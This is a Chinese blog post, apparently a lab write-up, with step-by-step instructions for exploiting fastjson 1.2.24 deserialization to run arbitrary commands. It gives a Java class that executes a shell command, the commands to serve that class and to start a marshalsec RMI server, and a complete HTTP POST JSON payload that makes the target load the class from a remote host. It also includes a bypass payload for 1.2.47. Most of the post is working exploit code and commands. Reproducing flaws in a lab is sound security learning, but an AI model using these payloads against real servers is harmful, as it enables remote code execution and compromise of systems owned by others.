fastjson 1.2.24 反序列化導致任意命令執行漏洞 復現詳細步驟


記錄一下

1、在網上突然發現這個漏洞,就去嘗試復現了一下,本次不記錄漏洞形成原因,只記載復現

2、首先Fastjson百度了解一下只知道是一個java庫,搜尋一下靶場環境搭建,網上大部分的都比較繁瑣, 個人推薦可以使用Vulhub搭建是和docker一起使用的官網地址:https://vulhub.org/  (上面有安裝詳解)

3、環境搭建好之后打開目標(在8090端口)

 

3、這里嘮叨一下,網上大部分,要不就直接給一個payload,要不就是大佬們在研究漏洞成因,(攻擊環境搭的我頭疼)

   其實Vulhub上面有復現步驟,只是菜狗一枚,不懂的太多

4、下面是攻擊第一步,先生產一個類文件,(菜如狗的我,只知道是個java文件,怎么編譯我一臉懵,搜了三四個小時,還下載了idea),

  1)本地安裝有java環境 

  2)新建個txt文件復制代碼進去重命名為TouchFile.java

  3)cmd進入文件目錄運行  

javac TouchFile.java

 4)你就會發現生成一個class文件

 

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

5、接下來,先安裝maven (WIN10)

  1)官網:http://maven.apache.org/download.cgi 

   2)下載apache-maven-3.5.3-bin.zip 並解壓

   3)添加環境變量 

添加 M2_HOME 和 MAVEN_HOME 環境變量到 Windows 環境變量,並將其指向你的 Maven 文件夾

  

Path環境變量添加 %M2_HOME%\bin

  4)測試

mvn -version

6、把編譯好的class文件傳到外網系統中。並在class文件所在的目錄,使用python開啟監聽:

python -m SimpleHTTPServer 4444

可以訪問驗證一下是否開啟,是否把class文件放進入

7、然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,並制定加載遠程類TouchFile.class  

   1)項目地址

https://github.com/mbechler/marshalsec

 2)項目編譯(去項目目錄下執行命令)

mvn clean package -DskipTests

 3)會生成 marshalsec-0.0.3-SNAPSHOT-all.jar 這樣一個文件

 4)執行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://剛class文件的ip或域名/#TouchFile" 9999

 

 8、這個時候攻擊環境已經准備就緒了 ,然后直接執行payload就可以了

 

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://同上類文件地址:9999/TouchFile",
        "autoCommit":true
    }
}

9、驗證是否成功執行

 

 

 10、如果想執行其它命令,修改最初的java文件重新操作即可

 

 

 以上是我遇到坑,一步一摔,詳細記錄下測試步驟,

11、簡單看了下Fastjosn1.2.47遠程命令執行漏洞,操作步驟合上一樣只是利用的函數不一樣,從而進行繞過,修改最后payload里函數即可

 比如:

{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

順便貼一下自己攻擊成功和失敗的包

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM